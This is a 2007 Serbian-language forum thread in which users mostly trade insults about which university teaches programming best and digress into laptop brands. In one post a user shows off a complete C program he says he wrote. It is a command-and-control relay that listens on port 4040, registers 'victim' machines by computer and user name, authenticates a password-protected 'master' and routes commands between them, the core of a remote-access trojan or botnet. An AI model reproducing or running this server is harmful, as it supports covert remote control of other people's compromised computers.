De1Rekt0n Posted April 21, 2007 Report Share Posted April 21, 2007 (edited) Konkretno moj fax sto se tice programiranja i jeste bolji tj moj bivshi fax koga sam zavrshio vishe nego ti svoj. Fon se inace smatra najboljim faxem za programiranje kod nas ROFL MJAU tako da tolko o nasim falkutetima. Druga stvar. Ovo gore nije bolje od difejsa jer po kiddie skripting terminom se smatra klinac koji uzme xploit sa neta malo ga koriguje za svoj sistem i onda gleda sta sve sa njim moze da difejsuje. Stoga ovo gore nije nista bolje od script kiddie-a tj difejsovanja random sajtova posto je i ovo gore neciji kod malkice editovan. Da da da skinuo sam xploit pa sam ga izmenio, evo ti nesto sto neces nigde na netu naci a ja sam pisao: #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <fcntl.h> #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/wait.h> #define BACKLOG 10 #define MAX_CLIENTS 256 #define MAX_VICTIMS 200 #define MAX_NAME_SIZE 256 #define CLIENT_BUFFER_SIZE 65535 #define MAX_PACKET_SIZE 64000 #define TYPE_UNKNOWN 0 #define TYPE_VICTIM 1 #define TYPE_MASTER 2 #define MY_HEADER_SIZE 5 #define MY_SIGNATURE 66 #define PROTO_ERROR 1 #define PROTO_VICTIM_HELO 10 #define PROTO_MASTER_HELO 100 #define PROTO_MASTER_MACHINES 101 #define ERROR_AUTH 1 #define PROTO_ROUTE_BEGIN 20 #define PROTO_ROUTE_END 99 struct my_client { int sock, type; int buf_pos; char real_name[MAX_NAME_SIZE]; char computer_name[MAX_NAME_SIZE]; char *buf; }; char MASTER_PASSWORD[]="*********"; int srv_socket; char *gtemp1; char *gtemp2; int master_node; int victim_count=0; struct my_client *clients[MAX_CLIENTS]; int send_packet(int cid, char destination, char cmd, int data_size, char *data); int init_listen() { int listen_sock; int port=4040; struct sockaddr_in listen_addr; printf("Waiting on port %d...",port); if ((listen_sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("socket"); exit(1); } listen_addr.sin_family = AF_INET; listen_addr.sin_port = htons(port); listen_addr.sin_addr.s_addr = INADDR_ANY; bzero(&(listen_addr.sin_zero), 8); if (bind(listen_sock, (struct sockaddr *)&listen_addr, sizeof(struct sockaddr)) == -1) { printf("FAILED! (bind)\n"); return 0; } if (listen(listen_sock, BACKLOG) == -1) { printf("FAILED! (listen)\n"); return 0; } fcntl(listen_sock, F_SETFL, O_NONBLOCK); printf("OK!\n"); return listen_sock; } int accept_connections() { int new_fd; struct sockaddr_in their_addr; int sin_size; struct timeval tv; fd_set readfds; int i; tv.tv_sec = 0; tv.tv_usec = 5; FD_ZERO(&readfds); FD_SET(srv_socket, &readfds); select(srv_socket+1, &readfds, NULL, NULL, &tv); if (FD_ISSET(srv_socket, &readfds)) { // accept connection here sin_size = sizeof(struct sockaddr_in); if ((new_fd = accept(srv_socket, (struct sockaddr *)&their_addr, &sin_size)) == -1) { perror("accept"); return -1; } fcntl(new_fd, F_SETFL, O_NONBLOCK); for (i=0;i<MAX_CLIENTS;i++) { if (clients[i]==NULL) { printf("got connection from %s\n", inet_ntoa(their_addr.sin_addr)); clients[i]=(struct my_client *)malloc(sizeof(struct my_client)); break; } } clients[i]->sock = new_fd; clients[i]->buf_pos = 0; clients[i]->buf=(char *)malloc(CLIENT_BUFFER_SIZE); clients[i]->type = TYPE_UNKNOWN; } return 0; } int destroy_client(int i) { char *tmp; if (clients[i]->type==TYPE_VICTIM) { victim_count--; gtemp1[0]='-'; tmp=(char*)&i; gtemp1[1]=tmp[0]; send_packet(master_node, 0, PROTO_MASTER_MACHINES, 2, gtemp1); } if (clients[i]->type==TYPE_MASTER) master_node = 0; close(clients[i]->sock); free(clients[i]->buf); free(clients[i]); clients[i]=NULL; printf("client destroyed!\n"); return 0; } int send_packet(int cid, char destination, char cmd, int data_size, char *data) { char *packet_buf; char *chr_packet_size; if (clients[cid]==NULL) return -1; packet_buf=(char *)malloc(MAX_PACKET_SIZE); packet_buf[0] = MY_SIGNATURE; // B :)) packet_buf[1] = 0; // destination packet_buf[2] = 0; // size packet_buf[3] = 0; // size packet_buf[4] = cmd; // command chr_packet_size=(char*)&data_size; packet_buf[2]=chr_packet_size[0]; packet_buf[3]=chr_packet_size[1]; memcpy(packet_buf+MY_HEADER_SIZE, data, data_size); send(clients[cid]->sock, packet_buf, MY_HEADER_SIZE+data_size, MSG_NOSIGNAL); free(packet_buf); return 0; } int send_victim(int i) { char *tmp; printf("sending vict\n"); if (!((clients[master_node]!=NULL)&&(clients[master_node]->type==TYPE_MASTER))) return -1; printf("sending vict in \n"); gtemp1[0]='+'; // send id tmp = (char*)&i; gtemp1[1]=tmp[0]; strcpy(gtemp1+2, clients[i]->computer_name); strcat(gtemp1+2, ";"); strcat(gtemp1+2, clients[i]->real_name); send_packet(master_node, 0, PROTO_MASTER_MACHINES, strlen(gtemp1+2)+2, gtemp1); return 0; } int got_packet(int cid, char *packet_data, int packet_size) { int i; char packet_dest; char packet_cmd; char error_char; char tmpchr[64]; char *tmp; packet_cmd=packet_data[4]; packet_dest=packet_data[1]; printf("[%d] velicina paketa %d, paket nosi komandu %d\n",cid, packet_size, packet_cmd); // -------- REGISTRACIJA ---------------------------------- if (packet_cmd==PROTO_VICTIM_HELO) { clients[cid]->type = TYPE_VICTIM; strncpy(gtemp1, packet_data+MY_HEADER_SIZE, packet_size); gtemp1[packet_size]=0; printf("<%s>\n", gtemp1); strcpy(clients[cid]->computer_name, strtok(gtemp1, ";")); strcpy(clients[cid]->real_name, strtok(NULL, ";")); printf("Nova zrtva: [%s] (%s)\n", clients[cid]->computer_name,clients[cid]->real_name); send_victim(cid); victim_count++; return 0; } if (packet_cmd==PROTO_MASTER_HELO) { strncpy(gtemp1, packet_data+MY_HEADER_SIZE, packet_size); gtemp1[packet_size]=0; if (strcmp(gtemp1, MASTER_PASSWORD)) { error_char = ERROR_AUTH; send_packet(cid, 0, PROTO_ERROR, 1, &error_char); printf("Auth failure [%s] <%s>\n", gtemp1, MASTER_PASSWORD); destroy_client(cid); return 0; } master_node = cid; clients[cid]->type = TYPE_MASTER; for (i=0;i<MAX_CLIENTS;i++) { if ((clients[i]!=NULL)&&(clients[i]->type==TYPE_VICTIM)) { send_victim(i); } } send_packet(cid, 0, PROTO_MASTER_MACHINES, 0, NULL); printf("Master Connected!\n"); return 0; } // -------- FROM VICTIM :)))) --------------------------------- if (clients[i]->type==TYPE_VICTIM) { if ((packet_cmd>=PROTO_ROUTE_BEGIN)&&(packet_cmd<=PROTO_ROUTE_END)) { send_packet(master_node, i, packet_cmd, packet_size, packet_data); // to master, from vict, what, size, data } return 0; } // -------- FROM MASTER :)))) --------------------------------- if (clients[i]->type==TYPE_MASTER) { if ((packet_cmd>=PROTO_ROUTE_BEGIN)&&(packet_cmd<=PROTO_ROUTE_END)) { send_packet(packet_dest, i, packet_cmd, packet_size, packet_data); // to victim, from me!, what, size, data } return 0; } return 0; } int receive_data(){ struct timeval tv; fd_set readfds; int i,rdd; char packet_dest; int packet_size; char *buffer; buffer=(char*)malloc(4096); for (i=0;i<MAX_CLIENTS;i++) { if (clients[i]!=NULL) { tv.tv_sec = 0; tv.tv_usec = 5; FD_ZERO(&readfds); FD_SET(clients[i]->sock, &readfds); select(clients[i]->sock+1, &readfds, NULL, NULL, &tv); if (FD_ISSET(clients[i]->sock, &readfds)) { rdd=recv(clients[i]->sock,buffer,4096,MSG_NOSIGNAL); if (rdd>0) { if (rdd+clients[i]->buf_pos > CLIENT_BUFFER_SIZE) { // buffer exceeded bre;) } else { printf("primljeno %d\n", rdd); memcpy(clients[i]->buf+clients[i]->buf_pos, buffer, rdd); clients[i]->buf_pos+=rdd; // packet_size=0; if (clients[i]->buf_pos >= MY_HEADER_SIZE) memcpy(&packet_size, clients[i]->buf+2, 2); while (clients[i]->buf_pos >= MY_HEADER_SIZE+packet_size) { if (clients[i]->buf_pos >= MY_HEADER_SIZE+packet_size) { if (clients[i]->buf[0]!=MY_SIGNATURE) { printf("[Malformed Packet] closing.\n"); destroy_client(i); break; } got_packet(i, clients[i]->buf,packet_size); if (clients[i]==NULL) break; memmove(clients[i]->buf, clients[i]->buf+MY_HEADER_SIZE+packet_size, clients[i]->buf_pos - MY_HEADER_SIZE+packet_size); clients[i]->buf_pos-= MY_HEADER_SIZE+packet_size; printf("-- sada je bufpos %d\n", clients[i]->buf_pos); } } } } else { destroy_client(i); } } } } free(buffer); return 0; } int main() { gtemp1=(char*)malloc(1024); gtemp2=(char*)malloc(1024); srv_socket = init_listen(); while (1) { accept_connections(); receive_data(); } return 0; } Ako ovo nadjes negde na netu dajem ti milion maraka odma na ruke. :) Prvi salje poruku "buf", koja se pritom nigde ne puni, na socket i gasi se u ponedeljak u 5 ujutru, a drugi osvezhava ip na dyndns sajtu posetjivanjem web adrese. WEOW ... al mi je drago da si impresionirao dakija, to dosta govori o njegovom faxu. I na stranu toga svega mnogo aljkavo pishesh ... Hahaha kako volis da diskreditujes tudje znanje a mislis da si najpametniji :) Edited April 21, 2007 by De1 Quote Link to comment Share on other sites More sharing options...
mohican Posted April 21, 2007 Report Share Posted April 21, 2007 Jao mohi ne lupaj, jel znaš šta se sad radi od programiranja na FON-u? Bio je bolji možda dok su na ETF-u radili Fortran, al to je davno prošlo vreme. Na ETF-u se od programiranja radi paskal, C, C++, Java i polako kreću sa C#, plus projektovanje softvera u starijim godinama. Šta se radi na FON-u? Java. Smatra se najboljim znachi najvise se ceni tj da ti nacrtam nase velike firme ako zele da zaposle progamera najvise vole fon informacione sisteme kadar ... Da da da skinuo sam xploit pa sam ga izmenio, evo ti nesto sto neces nigde na netu naci a ja sam pisao: Ako ovo nadjes negde na netu dajem ti milion maraka odma na ruke. :) Hahaha kako volis da diskreditujes tudje znanje a mislis da si najpametniji :) Krenuo si pertuamoru koji je zavrshio mashinac na kome se predaje fortran, koji im ni ne treba, da pustas muda sa c kodom koji je pritom copy/pasteovan iz primera za rad sa socketima? I posle ja imam problem? Ajde leci se ... Naravno da mi ne pada na pamet da citam ovaj kod zato sto me a: zabole kurac b: pisesh aljkavo, tako da svoj e-penis meri na esu ... Quote OPTIMISED FOR HUMAN OPTICAL NERVEBEST VIEWED WITH A MONITOR Link to comment Share on other sites More sharing options...
De1Rekt0n Posted April 21, 2007 Report Share Posted April 21, 2007 (edited) Smatra se najboljim znachi najvise se ceni tj da ti nacrtam nase velike firme ako zele da zaposle progamera najvise vole fon informacione sisteme kadar ... Krenuo si pertuamoru koji je zavrshio mashinac na kome se predaje fortran, koji im ni ne treba, da pustas muda sa c kodom koji je pritom copy/pasteovan iz primera za rad sa socketima? I posle ja imam problem? Ajde leci se ... Naravno da mi ne pada na pamet da citam ovaj kod zato sto me a: zabole kurac b: pisesh aljkavo, tako da svoj e-penis meri na esu ... Hahaha kako si bedan, pa ono sto sam prvo postovao sam postovao nesto sto i ne bi trebalo da bude nesto spektakularno, ako si mudonja pogledaj ovo sto sam pisao, ovo ti je inace deo neceg mnogo veceg ali ti jos mislis da je ovo 2000. i da nemam pojma, jbg druze zajebo si se napredovao sam dosta od 2000. :) Ja sam odavno prerastao copy/paste fazu, jos tamo 2001, a to sto sam gore stavio nije nikakav copy paste iz primera kako rade socketi... Pa zar nije ova tema merenje e-penisa ti uvek odmeravas to u svakoj temi i pricas kako svi nemaju pojma jedini ti znas, realno lako je da se kuresas na RURu, da pitamo Leku sta misli o tebi? :) Edited April 21, 2007 by De1 Quote Link to comment Share on other sites More sharing options...
f4ts0 Posted April 22, 2007 Report Share Posted April 22, 2007 Lol cuj masincima ne treba fortran, ma ajde :) Quote You may have gone to Cambridge, but I'm an honorary graduate of Starfleet Academy Link to comment Share on other sites More sharing options...
mohican Posted April 22, 2007 Report Share Posted April 22, 2007 (edited) Pa zar nije ova tema merenje e-penisa ti uvek odmeravas to u svakoj temi i pricas kako svi nemaju pojma jedini ti znas, realno lako je da se kuresas na RURu, da pitamo Leku sta misli o tebi? :) Ne nego se ne javljam u temama gde su ljudi u pravu po mom mishljenju jer ne vidim poentu u kucaju postova tipa "DA U PRAVU SI". Ako se ne slazem oko necega e onda imam razlog da postujem. Nego vratimo se temi tj cinjenici da si ti zapoceo merenje e-penisa ovde. Daklem ja se ne kuresam vetj sam diskreditovao tvoje kuresanje. Leka? Leka gnu fanatik, directconnect zaludjenik i linux zilot? Sta on misli o meni je odavno jasno tj od trenutka kad sam podmetnuo editovan njegov skrinshot umesto onog koji je on okacio na es forumu Edited April 22, 2007 by mohican Quote OPTIMISED FOR HUMAN OPTICAL NERVEBEST VIEWED WITH A MONITOR Link to comment Share on other sites More sharing options...
dzontra.volta Posted April 22, 2007 Report Share Posted April 22, 2007 nisam mislio da li je bolji fon od ftn-a vec da je moj aktuelni fax bolji od tvog aktuelnog. i da, najjaci programeri u srbiji su softverasi sa pmfa. jedino sto tamo i uce - softver sve i svasta Quote Link to comment Share on other sites More sharing options...
Pesma-mrtve-dece Posted April 22, 2007 Report Share Posted April 22, 2007 -sinovi, ovaj topik se iz prostog vaginalnog pomaganja pretvorio u razbacivanje alfa-skilovima. -Sto se tiche kvaliteta faksa, mogu sam da kazem da je (meni) FON sranje, posto sam ga studirao 2 godine. Za ETF ne znam, ali kapiram da su pmf i etf keva i cjale fonu (ma bre deda i baba). - A sto se tiche zaposhljavanja kadrova, mohi, nemoj zaboraviti da redovno, znaci bukvalno svake godine, po 100 najboljih diplomaca (vise-manje) automatski ode negde u inostranstvo da radi direktno s faksa... tako da ostaju, tako da se kaze "srednji" studenti vs. najbolji sa fona.... (da sam ja poslodoavac, uzeo bih licno pre ovog s etf-a (: ) Quote Get smart or die dumb! Link to comment Share on other sites More sharing options...
De1Rekt0n Posted April 22, 2007 Report Share Posted April 22, 2007 Ne nego se ne javljam u temama gde su ljudi u pravu po mom mishljenju jer ne vidim poentu u kucaju postova tipa "DA U PRAVU SI". Ako se ne slazem oko necega e onda imam razlog da postujem. Nego vratimo se temi tj cinjenici da si ti zapoceo merenje e-penisa ovde. Daklem ja se ne kuresam vetj sam diskreditovao tvoje kuresanje. Leka? Leka gnu fanatik, directconnect zaludjenik i linux zilot? Sta on misli o meni je odavno jasno tj od trenutka kad sam podmetnuo editovan njegov skrinshot umesto onog koji je on okacio na es forumu HAhaha ladno ovo cuvas jebeno ovo je bilo pre hrista hahah. Anyway iako je Leka GNU fanatik ipak covek ima znanje. Quote Link to comment Share on other sites More sharing options...
mncu Posted April 22, 2007 Author Report Share Posted April 22, 2007 de1, zasto ti svaki post zapocinjes sa "hahahaha"? imas ogledalo pored monitora? Quote Link to comment Share on other sites More sharing options...
rev Posted April 22, 2007 Report Share Posted April 22, 2007 omg peta strana topica na kome su mohi i dei a niko josh nije pomenuo jevreje ? Quote Link to comment Share on other sites More sharing options...
De1Rekt0n Posted April 22, 2007 Report Share Posted April 22, 2007 de1, zasto ti svaki post zapocinjes sa "hahahaha"? imas ogledalo pored monitora? Imam tvoju temu prikazanu na monitoru. omg peta strana topica na kome su mohi i dei a niko josh nije pomenuo jevreje ? Daj nam vremena. Quote Link to comment Share on other sites More sharing options...
dzontra.volta Posted April 22, 2007 Report Share Posted April 22, 2007 de1, zasto ti svaki post zapocinjes sa "hahahaha"? imas ogledalo pored monitora? daj mani se lose je je. jako. a i bez razloga... Quote Link to comment Share on other sites More sharing options...
voodoo_ Posted April 22, 2007 Report Share Posted April 22, 2007 cela ova tema je sranje i treba je zatvoriti, obrisati i ne govoriti o njoj nikad vi Quote Link to comment Share on other sites More sharing options...
rockdudbg Posted April 22, 2007 Report Share Posted April 22, 2007 pametno zborish.:) Quote vid'o sam deda mraza Link to comment Share on other sites More sharing options...
coll Posted April 22, 2007 Report Share Posted April 22, 2007 Dell sam uzeo samo kao primer nobrainer kupovine, njihovi kompjuteri su precenjeni, mislim ko daje 1.5K evra za lap sa Intel grafikom i 512 MB ffs. A ako ćemo da upoređujemo, neki npr. HP sa dvojezgarnim Turionom i ATI grafikom ko Quote sex, drugs and bio food! Link to comment Share on other sites More sharing options...
voodoo_ Posted April 22, 2007 Report Share Posted April 22, 2007 Ja sam vi Quote Link to comment Share on other sites More sharing options...
f4ts0 Posted April 22, 2007 Report Share Posted April 22, 2007 E jebi ga vudu poredis dell i jugodatu. Quote You may have gone to Cambridge, but I'm an honorary graduate of Starfleet Academy Link to comment Share on other sites More sharing options...
voodoo_ Posted April 22, 2007 Report Share Posted April 22, 2007 Pa sa stanovi Quote Link to comment Share on other sites More sharing options...
GcV.Bjeli Posted April 22, 2007 Report Share Posted April 22, 2007 Dell je brend, Jugodata je ... Jugodata Quote web hosting, web design, web development, internet marketing i SEO Link to comment Share on other sites More sharing options...
f4ts0 Posted April 24, 2007 Report Share Posted April 24, 2007 Pa sa stanovi Quote You may have gone to Cambridge, but I'm an honorary graduate of Starfleet Academy Link to comment Share on other sites More sharing options...
Ak4t0R Posted April 24, 2007 Report Share Posted April 24, 2007 Oces da ti posaljem moju svesku iz 3-4 godine ets-a mozda naucis nesto u sustini sve je prosto samo naucis neke obrasce a sve ostalo zavisi od tovje maste i razumevanja iste meni je bar tako uspevalo da sve odradim ok a ako bas si stu***na onda kad sednes za komp optvpris neke foldere jer je verovatno grupa pre tebe vec sve odradila i uredno save-ovala na hard :))) Quote Link to comment Share on other sites More sharing options...
mncu Posted May 2, 2007 Author Report Share Posted May 2, 2007 dobila sam 5 na kontrolnom :) samo ortak i ja a zajedno smo vezbali Quote Link to comment Share on other sites More sharing options...
f4ts0 Posted May 2, 2007 Report Share Posted May 2, 2007 Quote You may have gone to Cambridge, but I'm an honorary graduate of Starfleet Academy Link to comment Share on other sites More sharing options...
De1Rekt0n Posted May 2, 2007 Report Share Posted May 2, 2007 dobila sam 5 na kontrolnom :) samo ortak i ja a zajedno smo vezbali Kuda ide nase obrazovanje. Quote Link to comment Share on other sites More sharing options...
Tauruss Posted May 2, 2007 Report Share Posted May 2, 2007 Vaistinu... Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.